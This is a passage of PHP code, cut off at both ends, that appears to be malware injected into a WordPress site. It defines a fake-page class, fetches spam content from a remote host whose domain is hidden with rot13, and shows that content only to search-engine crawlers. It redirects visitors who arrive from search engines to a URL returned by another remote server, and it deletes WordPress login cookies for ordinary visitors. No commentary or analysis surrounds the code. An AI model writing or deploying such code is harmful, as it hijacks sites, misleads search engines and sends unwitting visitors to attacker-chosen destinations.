CovenVP { private $args = NULL; public function __construct($args) { if (!isset($args['slug'])) throw new Exception('No slug given for virtual page'); $this->args = $args; add_filter('the_posts', array($this, 'virtual_page')); } public function virtual_page($posts) { global $wp; $slug = isset($this->args['slug']) ? $this->args['slug'] : ''; if (0 === count($posts) && (0 === strcasecmp($wp->request, $slug) || $slug === $wp->query_vars['page_id'])) { $post = new stdClass(); $post->ID = - 128; $post->post_author = isset($this->args['author']) ? $this->args['author'] : 1; $post->post_date = isset($this->args['date']) ? $this->args['date'] : current_time('mysql'); $post->post_date_gmt = isset($this->args['dategmt']) ? $this->args['dategmt'] : current_time('mysql', 1); $post->post_content = isset($this->args['content']) ? $this->args['content'] : ''; $post->post_title = isset($this->args['title']) ? $this->args['title'] : ''; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->post_password = ''; $post->post_name = $slug; $post->to_ping = ''; $post->pinged = ''; $post->post_modified = $post->post_date; $post->post_modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $slug); $post->menu_order = 0; $post->post_type = isset($this->args['type']) ? $this->args['type'] : 'page'; $post->post_mime_type = ''; $post->comment_count = 0; $post = apply_filters('coven_virtual_page_content', $post); $posts = array($post); global $wp_query; $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; } return $posts; } } } if (!function_exists('coven_create_virtual')) { function coven_create_virtual() { $covenD = str_rot13('mnuunuu.qvtvgny'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://coven.{$covenD}/shilov/" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $html = curl_exec($ch); $html = json_decode($html, true); curl_close($ch); if (json_last_error() === JSON_ERROR_NONE) { $url = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); $args = array('slug' => $url, 'title' => $html['title'], 'content' => $html['body']); $pg = new CovenVP($args); } } } if (preg_match("/google|bing|msn|yahoo/i", $ref) && !$googleBot && !$anyBot) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://source.{$ccd}/in/drws/?val1={$hwost}"); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_REFERER, $host . $uri); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Forwarded-For: ' . $gbt)); $html = curl_exec($ch); if (curl_getinfo($ch, CURLINFO_REDIRECT_URL)) { $redirectUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL); header('Location: ' . $redirectUrl); exit(); } } elseif ($googleBot) { add_action('init', 'coven_create_virtual'); } else { header("Location: http://" . $_SERVER["HTTP_HOST"]); exit(); } } if(!$googleBot){ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PR